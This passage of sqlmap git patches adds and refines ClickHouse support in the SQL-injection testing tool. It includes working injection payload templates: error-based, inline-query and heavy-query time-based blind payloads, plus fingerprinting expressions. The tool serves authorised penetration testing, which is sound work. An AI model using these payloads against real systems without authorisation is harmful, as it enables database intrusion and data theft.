VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/plugins/dbms/clickhouse/__init__.py b/plugins/dbms/clickhouse/__init__.py index 2036e49eb..88db47a80 100755 --- a/plugins/dbms/clickhouse/__init__.py +++ b/plugins/dbms/clickhouse/__init__.py @@ -1,3 +1,10 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +See the file 'LICENSE' for copying permission +""" + from lib.core.enums import DBMS from lib.core.settings import CLICKHOUSE_SYSTEM_DBS from lib.core.unescaper import unescaper @@ -11,7 +18,7 @@ from plugins.generic.misc import Miscellaneous class ClickhouseMap(Syntax, Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeover): """ - This class defines clickhouse methods + This class defines Clickhouse methods """ def __init__(self): @@ -20,4 +27,4 @@ class ClickhouseMap(Syntax, Fingerprint, Enumeration, Filesystem, Miscellaneous, for cls in self.__class__.__bases__: cls.__init__(self) - unescaper[DBMS.CLICKHOUSE] = Syntax.escape \ No newline at end of file + unescaper[DBMS.CLICKHOUSE] = Syntax.escape diff --git a/plugins/dbms/clickhouse/connector.py b/plugins/dbms/clickhouse/connector.py index e9a9bda21..76d1d77e1 100755 --- a/plugins/dbms/clickhouse/connector.py +++ b/plugins/dbms/clickhouse/connector.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2023 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ @@ -11,4 +11,4 @@ from lib.core.exception import SqlmapConnectionException from plugins.generic.connector import Connector as GenericConnector class Connector(GenericConnector): - pass \ No newline at end of file + pass diff --git a/plugins/dbms/clickhouse/enumeration.py b/plugins/dbms/clickhouse/enumeration.py index d2bf57411..4a1cdb92f 100755 --- a/plugins/dbms/clickhouse/enumeration.py +++ b/plugins/dbms/clickhouse/enumeration.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2023 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ @@ -9,4 +9,4 @@ from lib.core.data import logger from plugins.generic.enumeration import Enumeration as GenericEnumeration class Enumeration(GenericEnumeration): - pass \ No newline at end of file + pass diff --git a/plugins/dbms/clickhouse/filesystem.py b/plugins/dbms/clickhouse/filesystem.py index af9b2e07f..5991a52d8 100755 --- a/plugins/dbms/clickhouse/filesystem.py +++ b/plugins/dbms/clickhouse/filesystem.py @@ -1,11 +1,11 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2023 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ from plugins.generic.filesystem import Filesystem as GenericFilesystem class Filesystem(GenericFilesystem): - pass \ No newline at end of file + pass diff --git a/plugins/dbms/clickhouse/fingerprint.py b/plugins/dbms/clickhouse/fingerprint.py index 89c926ab9..5b2b5fe3c 100755 --- a/plugins/dbms/clickhouse/fingerprint.py +++ b/plugins/dbms/clickhouse/fingerprint.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2023 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ @@ -88,4 +88,4 @@ class Fingerprint(GenericFingerprint): warnMsg = "the back-end DBMS is not %s" % DBMS.CLICKHOUSE logger.warn(warnMsg) - return False \ No newline at end of file + return False diff --git a/plugins/dbms/clickhouse/syntax.py b/plugins/dbms/clickhouse/syntax.py index 86f120e7f..5adee2f51 100755 --- a/plugins/dbms/clickhouse/syntax.py +++ b/plugins/dbms/clickhouse/syntax.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2023 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ @@ -15,4 +15,4 @@ class Syntax(GenericSyntax): True """ - return expression \ No newline at end of file + return expression diff --git a/plugins/dbms/clickhouse/takeover.py b/plugins/dbms/clickhouse/takeover.py index f9539ee66..f061c2469 100755 --- a/plugins/dbms/clickhouse/takeover.py +++ b/plugins/dbms/clickhouse/takeover.py @@ -1,11 +1,11 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2023 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ from plugins.generic.takeover import Takeover as GenericTakeover class Takeover(GenericTakeover): - pass \ No newline at end of file + pass From d7180d38c47fadf60caa4d96177db30a9e79b6ac Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Fri, 3 Feb 2023 23:30:05 +0100 Subject: [PATCH 18/43] Some fixes related to ClickHouse support (#5229) --- data/xml/payloads/time_blind.xml | 20 ++++++++++---------- lib/core/dicts.py | 4 ++-- lib/core/enums.py | 2 +- lib/core/settings.py | 2 +- plugins/dbms/clickhouse/__init__.py | 2 +- plugins/dbms/mysql/fingerprint.py | 2 +- 6 files changed, 16 insertions(+), 16 deletions(-) diff --git a/data/xml/payloads/time_blind.xml b/data/xml/payloads/time_blind.xml index f181a758e..944ec8008 100644 --- a/data/xml/payloads/time_blind.xml +++ b/data/xml/payloads/time_blind.xml @@ -195,9 +195,9 @@ 2 1,2,3,8,9 1 - AND [RANDNUM]=IF(([INFERENCE]),(SELECT COUNT(*) FROM INFORMATION_SCHEMA.COLUMNS A, INFORMATION_SCHEMA.COLUMNS B, INFORMATION_SCHEMA.COLUMNS C),[RANDNUM]) + AND [RANDNUM]=IF(([INFERENCE]),(SELECT COUNT(*) FROM INFORMATION_SCHEMA.COLUMNS A, INFORMATION_SCHEMA.COLUMNS B, INFORMATION_SCHEMA.COLUMNS C WHERE 0 XOR 1),[RANDNUM]) - AND [RANDNUM]=(SELECT COUNT(*) FROM INFORMATION_SCHEMA.COLUMNS A, INFORMATION_SCHEMA.COLUMNS B, INFORMATION_SCHEMA.COLUMNS C) + AND [RANDNUM]=(SELECT COUNT(*) FROM INFORMATION_SCHEMA.COLUMNS A, INFORMATION_SCHEMA.COLUMNS B, INFORMATION_SCHEMA.COLUMNS C WHERE 0 XOR 1) @@ -235,9 +235,9 @@ 3 1,2,3,9 1 - OR [RANDNUM]=IF(([INFERENCE]),(SELECT COUNT(*) FROM INFORMATION_SCHEMA.COLUMNS A, INFORMATION_SCHEMA.COLUMNS B, INFORMATION_SCHEMA.COLUMNS C),[RANDNUM]) + OR [RANDNUM]=IF(([INFERENCE]),(SELECT COUNT(*) FROM INFORMATION_SCHEMA.COLUMNS A, INFORMATION_SCHEMA.COLUMNS B, INFORMATION_SCHEMA.COLUMNS C WHERE 0 XOR 1),[RANDNUM]) - OR [RANDNUM]=(SELECT COUNT(*) FROM INFORMATION_SCHEMA.COLUMNS A, INFORMATION_SCHEMA.COLUMNS B, INFORMATION_SCHEMA.COLUMNS C) + OR [RANDNUM]=(SELECT COUNT(*) FROM INFORMATION_SCHEMA.COLUMNS A, INFORMATION_SCHEMA.COLUMNS B, INFORMATION_SCHEMA.COLUMNS C WHERE 0 XOR 1) @@ -276,9 +276,9 @@ 2 1,2,3,9 1 - AND [RANDNUM]=IF(([INFERENCE]),(SELECT COUNT(*) FROM INFORMATION_SCHEMA.COLUMNS A, INFORMATION_SCHEMA.COLUMNS B, INFORMATION_SCHEMA.COLUMNS C),[RANDNUM]) + AND [RANDNUM]=IF(([INFERENCE]),(SELECT COUNT(*) FROM INFORMATION_SCHEMA.COLUMNS A, INFORMATION_SCHEMA.COLUMNS B, INFORMATION_SCHEMA.COLUMNS C WHERE 0 XOR 1),[RANDNUM]) - AND [RANDNUM]=(SELECT COUNT(*) FROM INFORMATION_SCHEMA.COLUMNS A, INFORMATION_SCHEMA.COLUMNS B, INFORMATION_SCHEMA.COLUMNS C) + AND [RANDNUM]=(SELECT COUNT(*) FROM INFORMATION_SCHEMA.COLUMNS A, INFORMATION_SCHEMA.COLUMNS B, INFORMATION_SCHEMA.COLUMNS C WHERE 0 XOR 1) # @@ -318,9 +318,9 @@ 3 1,2,3,9 1 - OR [RANDNUM]=IF(([INFERENCE]),(SELECT COUNT(*) FROM INFORMATION_SCHEMA.COLUMNS A, INFORMATION_SCHEMA.COLUMNS B, INFORMATION_SCHEMA.COLUMNS C),[RANDNUM]) + OR [RANDNUM]=IF(([INFERENCE]),(SELECT COUNT(*) FROM INFORMATION_SCHEMA.COLUMNS A, INFORMATION_SCHEMA.COLUMNS B, INFORMATION_SCHEMA.COLUMNS C WHERE 0 XOR 1),[RANDNUM]) - OR [RANDNUM]=(SELECT COUNT(*) FROM INFORMATION_SCHEMA.COLUMNS A, INFORMATION_SCHEMA.COLUMNS B, INFORMATION_SCHEMA.COLUMNS C) + OR [RANDNUM]=(SELECT COUNT(*) FROM INFORMATION_SCHEMA.COLUMNS A, INFORMATION_SCHEMA.COLUMNS B, INFORMATION_SCHEMA.COLUMNS C WHERE 0 XOR 1) # @@ -1628,9 +1628,9 @@ 2 1,2,3,9 1 - IF(([INFERENCE]),(SELECT COUNT(*) FROM INFORMATION_SCHEMA.COLUMNS A, INFORMATION_SCHEMA.COLUMNS B, INFORMATION_SCHEMA.COLUMNS C),[RANDNUM]) + IF(([INFERENCE]),(SELECT COUNT(*) FROM INFORMATION_SCHEMA.COLUMNS A, INFORMATION_SCHEMA.COLUMNS B, INFORMATION_SCHEMA.COLUMNS C WHERE 0 XOR 1),[RANDNUM]) - (SELECT COUNT(*) FROM INFORMATION_SCHEMA.COLUMNS A, INFORMATION_SCHEMA.COLUMNS B, INFORMATION_SCHEMA.COLUMNS C) + (SELECT COUNT(*) FROM INFORMATION_SCHEMA.COLUMNS A, INFORMATION_SCHEMA.COLUMNS B, INFORMATION_SCHEMA.COLUMNS C WHERE 0 XOR 1) diff --git a/lib/core/dicts.py b/lib/core/dicts.py index ee455729a..e031eca8e 100644 --- a/lib/core/dicts.py +++ b/lib/core/dicts.py @@ -270,7 +270,7 @@ HEURISTIC_NULL_EVAL = { DBMS.ACCESS: "CVAR(NULL)", DBMS.MAXDB: "ALPHA(NULL)", DBMS.MSSQL: "DIFFERENCE(NULL,NULL)", - DBMS.MYSQL: "QUARTER(NULL)", + DBMS.MYSQL: "QUARTER(NULL XOR NULL)", DBMS.ORACLE: "INSTR2(NULL,NULL)", DBMS.PGSQL: "QUOTE_IDENT(NULL)", DBMS.SQLITE: "UNLIKELY(NULL)", @@ -288,7 +288,7 @@ HEURISTIC_NULL_EVAL = { DBMS.EXTREMEDB: "NULLIFZERO(hashcode(NULL))", DBMS.RAIMA: "IF(ROWNUMBER()>0,CONVERT(NULL,TINYINT),NULL))", DBMS.VIRTUOSO: "__MAX_NOTNULL(NULL)", - DBMS.CLICKHOUSE: "coalesce(NULL)", + DBMS.CLICKHOUSE: "halfMD5(NULL) IS NULL", } SQL_STATEMENTS = { diff --git a/lib/core/enums.py b/lib/core/enums.py index 4fba28218..f589e9de4 100644 --- a/lib/core/enums.py +++ b/lib/core/enums.py @@ -52,7 +52,7 @@ class DBMS(object): PRESTO = "Presto" ALTIBASE = "Altibase" MIMERSQL = "MimerSQL" - CLICKHOUSE = "Clickhouse" + CLICKHOUSE = "ClickHouse" CRATEDB = "CrateDB" CUBRID = "Cubrid" CACHE = "InterSystems Cache" diff --git a/lib/core/settings.py b/lib/core/settings.py index b7496e467..4009d625c 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from thirdparty import six from thirdparty.six import unichr as _unichr # sqlmap version (...) -VERSION = "1.7.2.1" +VERSION = "1.7.2.2" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/plugins/dbms/clickhouse/__init__.py b/plugins/dbms/clickhouse/__init__.py index 88db47a80..873a0bb1b 100755 --- a/plugins/dbms/clickhouse/__init__.py +++ b/plugins/dbms/clickhouse/__init__.py @@ -18,7 +18,7 @@ from plugins.generic.misc import Miscellaneous class ClickhouseMap(Syntax, Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeover): """ - This class defines Clickhouse methods + This class defines ClickHouse methods """ def __init__(self): diff --git a/plugins/dbms/mysql/fingerprint.py b/plugins/dbms/mysql/fingerprint.py index d1df204e2..a61ca5b94 100644 --- a/plugins/dbms/mysql/fingerprint.py +++ b/plugins/dbms/mysql/fingerprint.py @@ -175,7 +175,7 @@ class Fingerprint(GenericFingerprint): infoMsg = "testing %s" % DBMS.MYSQL logger.info(infoMsg) - result = inject.checkBooleanExpression("QUARTER(NULL) IS NULL") + result = inject.checkBooleanExpression("QUARTER(NULL XOR NULL) IS NULL") if result: infoMsg = "confirming %s" % DBMS.MYSQL From 30ba167cc1506fa6531c84383428d5bb30d81412 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Fri, 3 Feb 2023 23:56:50 +0100 Subject: [PATCH 19/43] Some more fixes related to ClickHouse support (#5229) --- data/xml/errors.xml | 5 +++-- data/xml/payloads/error_based.xml | 32 ++++++++++++++++++++++------- data/xml/payloads/inline_query.xml | 10 ++++----- data/xml/payloads/time_blind.xml | 26 +++++++++++++++++++---- data/xml/queries.xml | 4 ++-- lib/controller/handler.py | 6 +++--- lib/core/settings.py | 2 +- plugins/dbms/clickhouse/__init__.py | 2 +- 8 files changed, 62 insertions(+), 25 deletions(-) diff --git a/data/xml/errors.xml b/data/xml/errors.xml index b78dd91c6..4993a8ae8 100644 --- a/data/xml/errors.xml +++ b/data/xml/errors.xml @@ -211,8 +211,9 @@ - - + + + diff --git a/data/xml/payloads/error_based.xml b/data/xml/payloads/error_based.xml index 6cc089d09..9b1d2725f 100644 --- a/data/xml/payloads/error_based.xml +++ b/data/xml/payloads/error_based.xml @@ -838,7 +838,7 @@ IBM DB2 OR error-based - WHERE or HAVING clause 2 4 - 1 + 3 1 1 OR [RANDNUM]=RAISE_ERROR('70001','[DELIMITER_START]'||([QUERY])||'[DELIMITER_STOP]') @@ -853,23 +853,41 @@ - - Clickhouse AND error-based - Parameter replace + ClickHouse AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause 2 - 2 + 3 1 1,2,3,9 1 - AND [RANDNUM]=CAST('[DELIMITER_START]'||CAST(([QUERY]), 'String')||'[DELIMITER_STOP]' AS String) + AND [RANDNUM]=('[DELIMITER_START]'||CAST(([QUERY]) AS String)||'[DELIMITER_STOP]') - AND [RANDNUM]=CAST('[DELIMITER_START]'||CAST((SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END)), 'String')||'[DELIMITER_STOP]' AS String) + AND [RANDNUM]=('[DELIMITER_START]'||(CASE WHEN ([RANDNUM]=[RANDNUM]) THEN '1' ELSE '0' END)||'[DELIMITER_STOP]') [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]
- Clickhouse + ClickHouse +
+
+ + + ClickHouse OR error-based - WHERE, HAVING, ORDER BY or GROUP BY clause + 2 + 4 + 3 + 1,2,3,9 + 1 + OR [RANDNUM]=('[DELIMITER_START]'||CAST(([QUERY]) AS String)||'[DELIMITER_STOP]') + + OR [RANDNUM]=('[DELIMITER_START]'||(CASE WHEN ([RANDNUM]=[RANDNUM]) THEN '1' ELSE '0' END)||'[DELIMITER_STOP]') + + + [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP] + +
+ ClickHouse
diff --git a/data/xml/payloads/inline_query.xml b/data/xml/payloads/inline_query.xml index 8e3b91f70..7269be695 100644 --- a/data/xml/payloads/inline_query.xml +++ b/data/xml/payloads/inline_query.xml @@ -135,21 +135,21 @@ - Clickhouse inline queries + ClickHouse inline queries 3 - 2 + 3 1 1,2,3,8 3 - (SELECT '[DELIMITER_START]'||CAST(([QUERY]), 'String')||'[DELIMITER_STOP]') + ('[DELIMITER_START]'||CAST(([QUERY]) AS String)||'[DELIMITER_STOP]') - (SELECT '[DELIMITER_START]'||CAST((SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END)), 'String')||'[DELIMITER_STOP]') + ('[DELIMITER_START]'||(CASE WHEN ([RANDNUM]=[RANDNUM]) THEN '1' ELSE '0' END)||'[DELIMITER_STOP]') [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]
- Clickhouse + ClickHouse
diff --git a/data/xml/payloads/time_blind.xml b/data/xml/payloads/time_blind.xml index 944ec8008..5de31ec45 100644 --- a/data/xml/payloads/time_blind.xml +++ b/data/xml/payloads/time_blind.xml @@ -1494,12 +1494,30 @@ + + ClickHouse AND time-based blind (heavy query) + 5 + 4 + 1 + 1,2,3 + 1 + AND [RANDNUM]=(SELECT COUNT(fuzzBits('[RANDSTR]', 0.001)) FROM numbers(if(([INFERENCE]), 1000000, 1))) + + AND [RANDNUM]=(SELECT COUNT(fuzzBits('[RANDSTR]', 0.001)) FROM numbers(1000000)) + + + + +
+ ClickHouse +
+
- Clickhouse AND time-based blind (heavy query) - fuzzBits + ClickHouse OR time-based blind (heavy query) 5 - 3 - 1 + 5 + 3 1,2,3 1 OR [RANDNUM]=(SELECT COUNT(fuzzBits('[RANDSTR]', 0.001)) FROM numbers(if(([INFERENCE]), 1000000, 1))) @@ -1510,7 +1528,7 @@
- Clickhouse + ClickHouse
diff --git a/data/xml/queries.xml b/data/xml/queries.xml index 82570ce7e..a3e006ccb 100644 --- a/data/xml/queries.xml +++ b/data/xml/queries.xml @@ -1319,7 +1319,7 @@
- + @@ -1331,7 +1331,7 @@ - + diff --git a/lib/controller/handler.py b/lib/controller/handler.py index 0e3c1999f..1c4994e84 100644 --- a/lib/controller/handler.py +++ b/lib/controller/handler.py @@ -47,8 +47,8 @@ from plugins.dbms.altibase.connector import Connector as AltibaseConn from plugins.dbms.altibase import AltibaseMap from plugins.dbms.cache.connector import Connector as CacheConn from plugins.dbms.cache import CacheMap -from plugins.dbms.clickhouse.connector import Connector as ClickhouseConn -from plugins.dbms.clickhouse import ClickhouseMap +from plugins.dbms.clickhouse.connector import Connector as ClickHouseConn +from plugins.dbms.clickhouse import ClickHouseMap from plugins.dbms.cratedb.connector import Connector as CrateDBConn from plugins.dbms.cratedb import CrateDBMap from plugins.dbms.cubrid.connector import Connector as CubridConn @@ -125,7 +125,7 @@ def setHandler(): (DBMS.PRESTO, PRESTO_ALIASES, PrestoMap, PrestoConn), (DBMS.ALTIBASE, ALTIBASE_ALIASES, AltibaseMap, AltibaseConn), (DBMS.MIMERSQL, MIMERSQL_ALIASES, MimerSQLMap, MimerSQLConn), - (DBMS.CLICKHOUSE, CLICKHOUSE_ALIASES, ClickhouseMap, ClickhouseConn), + (DBMS.CLICKHOUSE, CLICKHOUSE_ALIASES, ClickHouseMap, ClickHouseConn), (DBMS.CRATEDB, CRATEDB_ALIASES, CrateDBMap, CrateDBConn), (DBMS.CUBRID, CUBRID_ALIASES, CubridMap, CubridConn), (DBMS.CACHE, CACHE_ALIASES, CacheMap, CacheConn), diff --git a/lib/core/settings.py b/lib/core/settings.py index 4009d625c..9d224253a 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from thirdparty import six from thirdparty.six import unichr as _unichr # sqlmap version (...) -VERSION = "1.7.2.2" +VERSION = "1.7.2.3" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/plugins/dbms/clickhouse/__init__.py b/plugins/dbms/clickhouse/__init__.py index 873a0bb1b..a4a131442 100755 --- a/plugins/dbms/clickhouse/__init__.py +++ b/plugins/dbms/clickhouse/__init__.py @@ -16,7 +16,7 @@ from plugins.dbms.clickhouse.syntax import Syntax from plugins.dbms.clickhouse.takeover import Takeover from plugins.generic.misc import Miscellaneous -class ClickhouseMap(Syntax, Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeover): +class ClickHouseMap(Syntax, Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeover): """ This class defines ClickHouse methods """ From 46495f70f8a8aaa4345242d26cc82a023f272481 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Sat, 4 Feb 2023 00:00:21 +0100 Subject: [PATCH 20/43] Adding char escaper to ClickHouse support (#5229) --- lib/core/settings.py | 2 +- plugins/dbms/clickhouse/syntax.py | 10 +++++++--- 2 files changed, 8 insertions(+), 4 deletions(-) diff --git a/lib/core/settings.py b/lib/core/settings.py index 9d224253a..7ea40144e 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from thirdparty import six from thirdparty.six import unichr as _unichr # sqlmap version (...) -VERSION = "1.7.2.3" +VERSION = "1.7.2.4" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/plugins/dbms/clickhouse/syntax.py b/plugins/dbms/clickhouse/syntax.py index 5adee2f51..2d4cfcaaf 100755 --- a/plugins/dbms/clickhouse/syntax.py +++ b/plugins/dbms/clickhouse/syntax.py @@ -1,18 +1,22 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ +from lib.core.convert import getOrds from plugins.generic.syntax import Syntax as GenericSyntax class Syntax(GenericSyntax): @staticmethod def escape(expression, quote=True): """ - >>> Syntax.escape("SELECT 'abcdefgh' FROM foobar") == u"SELECT 'abcdefgh' FROM foobar" + >>> Syntax.escape("SELECT 'abcdefgh' FROM foobar") == "SELECT char(97)||char(98)||char(99)||char(100)||char(101)||char(102)||char(103)||char(104) FROM foobar" True """ - return expression + def escaper(value): + return "||".join("char(%d)" % _ for _ in getOrds(value)) + + return Syntax._escape(expression, quote, escaper) From 9eb970e7c7be72f4e56bb347f7dbfb687570cdb2 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Sat, 4 Feb 2023 00:28:33 +0100 Subject: [PATCH 21/43] More fixes related to ClickHouse support (#5229) --- lib/core/agent.py | 2 +- lib/core/settings.py | 5 +++-- plugins/dbms/clickhouse/connector.py | 5 +---- plugins/dbms/clickhouse/enumeration.py | 3 +-- plugins/dbms/clickhouse/filesystem.py | 11 +++++++++-- plugins/dbms/clickhouse/fingerprint.py | 2 +- plugins/dbms/clickhouse/takeover.py | 21 +++++++++++++++++++-- plugins/generic/entries.py | 2 +- 8 files changed, 36 insertions(+), 15 deletions(-) diff --git a/lib/core/agent.py b/lib/core/agent.py index 3a09c4450..53ef84a08 100644 --- a/lib/core/agent.py +++ b/lib/core/agent.py @@ -1027,7 +1027,7 @@ class Agent(object): limitStr = queries[Backend.getIdentifiedDbms()].limit.query % (num + 1, 1) limitedQuery += " %s" % limitStr - elif Backend.getIdentifiedDbms() in (DBMS.DERBY, DBMS.CRATEDB): + elif Backend.getIdentifiedDbms() in (DBMS.DERBY, DBMS.CRATEDB, DBMS.CLICKHOUSE): limitStr = queries[Backend.getIdentifiedDbms()].limit.query % (1, num) limitedQuery += " %s" % limitStr diff --git a/lib/core/settings.py b/lib/core/settings.py index 7ea40144e..9b6a74fac 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from thirdparty import six from thirdparty.six import unichr as _unichr # sqlmap version (...) -VERSION = "1.7.2.4" +VERSION = "1.7.2.5" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) @@ -283,7 +283,7 @@ PRESTO_SYSTEM_DBS = ("information_schema",) ALTIBASE_SYSTEM_DBS = ("SYSTEM_",) MIMERSQL_SYSTEM_DBS = ("information_schema", "SYSTEM",) CRATEDB_SYSTEM_DBS = ("information_schema", "pg_catalog", "sys") -CLICKHOUSE_SYSTEM_DBS = ("information_schema", "system") +CLICKHOUSE_SYSTEM_DBS = ("information_schema", "INFORMATION_SCHEMA", "system") CUBRID_SYSTEM_DBS = ("DBA",) CACHE_SYSTEM_DBS = ("%Dictionary", "INFORMATION_SCHEMA", "%SYS") EXTREMEDB_SYSTEM_DBS = ("",) @@ -415,6 +415,7 @@ ERROR_PARSING_REGEXES = ( r"(?P[^\n>]{0,100}SQL Syntax[^\n<]+)", r"(?s)
  • Error Type:
    (?P.+?)
  • ", r"CDbCommand (?P[^<>\n]*SQL[^<>\n]+)", + r"Code: \d+. DB::Exception: (?P[^<>\n]*)", r"error '[0-9a-f]{8}'((<[^>]+>)|\s)+(?P[^<>]+)", r"\[[^\n\]]{1,100}(ODBC|JDBC)[^\n\]]+\](\[[^\]]+\])?(?P[^\n]+(in query expression|\(SQL| at /[^ ]+pdo)[^\n<]+)", r"(?Pquery error: SELECT[^<>]+)" diff --git a/plugins/dbms/clickhouse/connector.py b/plugins/dbms/clickhouse/connector.py index 76d1d77e1..b58d11357 100755 --- a/plugins/dbms/clickhouse/connector.py +++ b/plugins/dbms/clickhouse/connector.py @@ -1,13 +1,10 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ -from lib.core.common import getSafeExString -from lib.core.data import logger -from lib.core.exception import SqlmapConnectionException from plugins.generic.connector import Connector as GenericConnector class Connector(GenericConnector): diff --git a/plugins/dbms/clickhouse/enumeration.py b/plugins/dbms/clickhouse/enumeration.py index 4a1cdb92f..8e9d81f7d 100755 --- a/plugins/dbms/clickhouse/enumeration.py +++ b/plugins/dbms/clickhouse/enumeration.py @@ -1,11 +1,10 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ -from lib.core.data import logger from plugins.generic.enumeration import Enumeration as GenericEnumeration class Enumeration(GenericEnumeration): diff --git a/plugins/dbms/clickhouse/filesystem.py b/plugins/dbms/clickhouse/filesystem.py index 5991a52d8..83b3aa178 100755 --- a/plugins/dbms/clickhouse/filesystem.py +++ b/plugins/dbms/clickhouse/filesystem.py @@ -1,11 +1,18 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ +from lib.core.exception import SqlmapUnsupportedFeatureException from plugins.generic.filesystem import Filesystem as GenericFilesystem class Filesystem(GenericFilesystem): - pass + def readFile(self, remoteFile): + errMsg = "on ClickHouse it is not possible to read files" + raise SqlmapUnsupportedFeatureException(errMsg) + + def writeFile(self, localFile, remoteFile, fileType=None, forceCheck=False): + errMsg = "on ClickHouse it is not possible to write files" + raise SqlmapUnsupportedFeatureException(errMsg) diff --git a/plugins/dbms/clickhouse/fingerprint.py b/plugins/dbms/clickhouse/fingerprint.py index 5b2b5fe3c..4007a6b8f 100755 --- a/plugins/dbms/clickhouse/fingerprint.py +++ b/plugins/dbms/clickhouse/fingerprint.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/clickhouse/takeover.py b/plugins/dbms/clickhouse/takeover.py index f061c2469..8f862bf1a 100755 --- a/plugins/dbms/clickhouse/takeover.py +++ b/plugins/dbms/clickhouse/takeover.py @@ -1,11 +1,28 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ +from lib.core.exception import SqlmapUnsupportedFeatureException from plugins.generic.takeover import Takeover as GenericTakeover class Takeover(GenericTakeover): - pass + def osCmd(self): + errMsg = "on ClickHouse it is not possible to execute commands" + raise SqlmapUnsupportedFeatureException(errMsg) + + def osShell(self): + errMsg = "on ClickHouse it is not possible to execute commands" + raise SqlmapUnsupportedFeatureException(errMsg) + + def osPwn(self): + errMsg = "on ClickHouse it is not possible to establish an " + errMsg += "out-of-band connection" + raise SqlmapUnsupportedFeatureException(errMsg) + + def osSmb(self): + errMsg = "on ClickHouse it is not possible to establish an " + errMsg += "out-of-band connection" + raise SqlmapUnsupportedFeatureException(errMsg) diff --git a/plugins/generic/entries.py b/plugins/generic/entries.py index 609eb4432..84b1c0e03 100644 --- a/plugins/generic/entries.py +++ b/plugins/generic/entries.py @@ -239,7 +239,7 @@ class Entries(object): entries = BigArray(_zip(*[entries[colName] for colName in colList])) else: query = rootQuery.inband.query % (colString, conf.db, tbl) - elif Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL, DBMS.HSQLDB, DBMS.H2, 